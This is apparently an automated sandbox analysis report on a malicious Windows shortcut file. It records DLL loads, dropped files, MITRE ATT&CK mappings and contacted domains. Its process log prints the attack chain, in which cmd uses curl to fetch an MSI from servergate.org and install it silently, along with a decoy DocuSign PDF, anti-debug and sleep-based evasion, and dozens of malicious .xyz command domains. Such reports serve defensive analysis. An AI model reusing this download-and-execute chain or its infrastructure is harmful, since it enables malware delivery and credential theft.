Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: Document.lnk.download.lnk

LNK file: ..\..\..\Windows\System32\cmd.exe

Source: C:\Windows\SysWOW64\msiexec.exe

File written: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\msiwrapper.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:

Binary string: C:\ss2\Projects\MsiWrapper\MsiCustomActions\Release\MsiCustomActions.pdb source: a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi.2.dr, 4686cf.msi.5.dr, MSI8846.tmp.5.dr

Source: d88df8ae9f84a64d960948f2a7dbf8fb.tmp.9.dr	Static PE information: section name: .00cfg
Source: d88df8ae9f84a64d960948f2a7dbf8fb.tmp.9.dr	Static PE information: section name: .voltbl

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C339D0 push eax; mov dword ptr [esp], ecx	16_2_00C339D3
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C33FE0 push eax; mov dword ptr [esp], ecx	16_2_00C33FE3
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00C33B60 push eax; mov dword ptr [esp], ecx	16_2_00C33B63

Source: d88df8ae9f84a64d960948f2a7dbf8fb.tmp.9.dr

Static PE information: section name: .text entropy: 6.996090991886042

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe	Jump to behavior

Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\bc51bec6f1114c3c9547e73c4adfb90f$dpx$.tmp\d88df8ae9f84a64d960948f2a7dbf8fb.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8846.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\MSI8846.tmp

Jump to dropped file

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Window / User API: threadDelayed 492	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Window / User API: threadDelayed 743	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Window / User API: threadDelayed 6175	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Window / User API: threadDelayed 1707	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Dropped PE file which has not been started: C:\Windows\Installer\MSI8846.tmp

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe

API coverage: 9.0 %

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep count: 492 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep time: -295200000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep count: 117 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep count: 743 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep count: 247 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep count: 6175 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep count: 1707 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe TID: 7352	Thread sleep count: 253 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\	Jump to behavior

Source: Web Data.18.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.18.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.18.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.18.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Web Data.18.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.18.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.18.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.18.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: setup.exe, 00000010.00000002.3301084650.0000000001219000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!
Source: Web Data.18.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.18.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.18.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.18.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: curl.exe, 00000002.00000003.2105887924.000002BDA3503000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.18.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.18.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.18.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.18.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.18.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.18.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.18.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Web Data.18.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.18.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Web Data.18.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.18.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe

Code function: 16_2_00DBE59A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

16_2_00DBE59A

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00DCA376 mov eax, dword ptr fs:[00000030h]	16_2_00DCA376
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00DBBD88 mov eax, dword ptr fs:[00000030h]	16_2_00DBBD88
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00DCA345 mov eax, dword ptr fs:[00000030h]	16_2_00DCA345

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00DBE59A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		16_2_00DBE59A
Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe	Code function: 16_2_00DB657B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		16_2_00DB657B

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi" /qn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe" /VERYSILENT /VERYSILENT	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe

Code function: 16_2_00DB747A GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

16_2_00DB747A

Source: C:\Windows\SysWOW64\expand.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	Windows Management Instrumentation	1 Services File Permissions Weakness	11 Process Injection	21 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Services File Permissions Weakness	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	11 Peripheral Device Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	14 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
Document.lnk.download.lnk	6%	Virustotal	Browse
Document.lnk.download.lnk	3%	ReversingLabs
Document.lnk.download.lnk	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Installer\MSI8846.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
aikmouciiqgecoqi.xyz	4%	Virustotal	Browse
servergate.org	2%	Virustotal	Browse
ggeymcaisciikucq.xyz	5%	Virustotal	Browse
oqsakkimkesccikc.xyz	6%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://servergate.org/rt/setup.msihr2	0%	Avira URL Cloud	safe
https://latest.web.skype.com/?browsername=edge_canary_shoreline	0%	Avira URL Cloud	safe
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	0%	Avira URL Cloud	safe
https://servergate.org/rt/setup.msi	0%	Avira URL Cloud	safe
https://servergate.org/rt/setup.msi#	0%	Avira URL Cloud	safe
https://powerpoint.new?from=EdgeM365Shoreline	0%	Avira URL Cloud	safe
https://word.new?from=EdgeM365Shoreline	0%	Avira URL Cloud	safe
https://excel.new?from=EdgeM365Shoreline	0%	Avira URL Cloud	safe
https://vibe.naver.com/today	0%	Avira URL Cloud	safe
https://aikmouciiqgecoqi.xyz:443/api/client_hello	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false		high
docusign-dxe.netlifyglobalcdn.com	3.33.186.135	true	false		high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false		high
aikmouciiqgecoqi.xyz	166.1.160.237	true	true	4%, Virustotal, Browse	unknown
servergate.org	166.1.160.166	true	true	2%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	172.217.19.193	true	false		high
oqsakkimkesccikc.xyz	unknown	unknown	true	6%, Virustotal, Browse	unknown
ggeymcaisciikucq.xyz	unknown	unknown	true	5%, Virustotal, Browse	unknown
oqoaumkywacmuwwm.xyz	unknown	unknown	true		unknown
uwgicagyykoommga.xyz	unknown	unknown	true		unknown
maoeeogmuauywsyu.xyz	unknown	unknown	true		unknown
miqcugomwgmygyoq.xyz	unknown	unknown	true		unknown
aqaqgemescmwsqks.xyz	unknown	unknown	true		unknown
skssioqkemoiieaa.xyz	unknown	unknown	true		unknown
wuokiysmiucoucak.xyz	unknown	unknown	true		unknown
omasqkwqyskcagwi.xyz	unknown	unknown	true		unknown
oqaiyaoqwyeswaiy.xyz	unknown	unknown	true		unknown
kuyaasckcgacyesi.xyz	unknown	unknown	true		unknown
iqqeoamqwiuiyuua.xyz	unknown	unknown	true		unknown
gmciuwiycsqycggy.xyz	unknown	unknown	true		unknown
ymqaaskiwomkucuy.xyz	unknown	unknown	true		unknown
coayaokeissieqcc.xyz	unknown	unknown	true		unknown
clients2.googleusercontent.com	unknown	unknown	false		high
qcygacuamqqugcck.xyz	unknown	unknown	true		unknown
qiyggmguowygeooc.xyz	unknown	unknown	true		unknown
akueuaicusaoieiy.xyz	unknown	unknown	true		unknown
caysswwugsmkeksw.xyz	unknown	unknown	true		unknown
yyimcoiwgckeakcm.xyz	unknown	unknown	true		unknown
oyogquqkmyqwwkuq.xyz	unknown	unknown	true		unknown
